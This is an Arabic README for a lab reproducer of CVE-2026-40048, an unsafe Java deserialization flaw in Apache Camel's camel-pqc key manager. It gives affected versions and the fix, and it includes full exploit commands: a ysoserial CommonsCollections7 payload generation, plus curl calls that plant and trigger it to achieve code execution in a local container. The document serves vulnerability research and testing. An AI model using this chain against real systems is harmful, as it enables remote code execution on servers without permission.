
مستنسخ لـ CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE)
يُظهر هذا المشروع ثغرة إلغاء تسلسل Java في مكون camel-pqc في Apache Camel، المُتتبعة تحت CVE-2026-40048. يقوم FileBasedKeyLifecycleManager بقراءة ملفات <keyId>.key من دليل المفاتيح المُهيأ باستخدام ObjectInputStream خام وبدون ObjectInputFilter، لذلك يمكن للمهاجم الذي يستطيع الكتابة في ذلك الدليل تحقيق تنفيذ تعليمات برمجية عن بُعد.
إشعار أمني: https://camel.apache.org/security/CVE-2026-40048.html
| الخاصية | القيمة |
|---|---|
| المكون | camel-pqc |
| الفئة المتأثرة | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: إلغاء تسلسل البيانات غير الموثوقة |
| التأثير | تنفيذ تعليمات برمجية عن بُعد (RCE) |
| الإصدارات المتأثرة | من 4.18.0 قبل 4.18.2، ومن 4.19.0 قبل 4.20.0 |
| الإصدارات المُصححة | 4.18.2، 4.20.0 |
| JIRA | CAMEL-23200 |
| المبلغون | Andrea Cosentino (ASF)، Venkatraman Kumar (Securin) |
يقوم FileBasedKeyLifecycleManager بتخزين مفاتيح ما بعد الكم ككائنات Java متسلسلة في <keyDir>/<keyId>.key. يقوم تحميل مفتاح بإلغاء تسلسل ذلك الملف باستخدام ObjectInputStream خام، ويحدث التحويل إلى KeyPair فقط بعد إرجاع readObject():
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
يمكن للمهاجم الذي يستطيع الكتابة في دليل المفاتيح — عبر اجتياز المسار، أو صلاحيات وحدة تخزين غير مُهيأة بشكل صحيح، أو سلسلة تزويد مفاتيح مُخترقة، أو هجوم الرمز الرابط — زرع كائن متسلسل مُصمم خصيصًا يتم تنفيذه أثناء تحميل دورة حياة مفتاح عادية.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# إثبات غير ضار: إنشاء /tmp/pwned. في JDK 21 أضف --add-opens لتوليد أدوات CC:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# يكتب البايتات إلى /tmp/pqc-keys/mykey.key داخل الحاوية
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
يتم استدعاء getKey() أثناء عمليات دورة حياة المفتاح العادية (استرجاع مفتاح التوقيع/التحقق، فحوصات التدوير، إلخ)، لذلك أي تحميل لملف <keyId>.key مزروع من قبل المهاجم يُشغل إلغاء التسلسل.
FileBasedKeyLifecycleManager (وحدة تخزين مشتركة/غير مُهيأة بشكل صحيح، اجتياز المسار، تزويد مُخترق، رابط رمزي).commons-collections:3.2.1).تم معالجة نمط ObjectInputStream في مخزن المفاتيح بشكل أوسع لاحقًا:
قم بالترقية إلى 4.18.2 / 4.20.0. يقوم الإصلاح باستبدال التخزين القائم على ObjectInputStream بترميز JSON Base64 قياسي لـ PKCS#8 (المفتاح الخاص) / X.509 SubjectPublicKeyInfo (المفتاح العام).
حتى الترقية:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (زرع .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
هذا المُعيد مُقدم لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة علنًا. لا تستخدمه ضد أنظمة دون إذن صريح.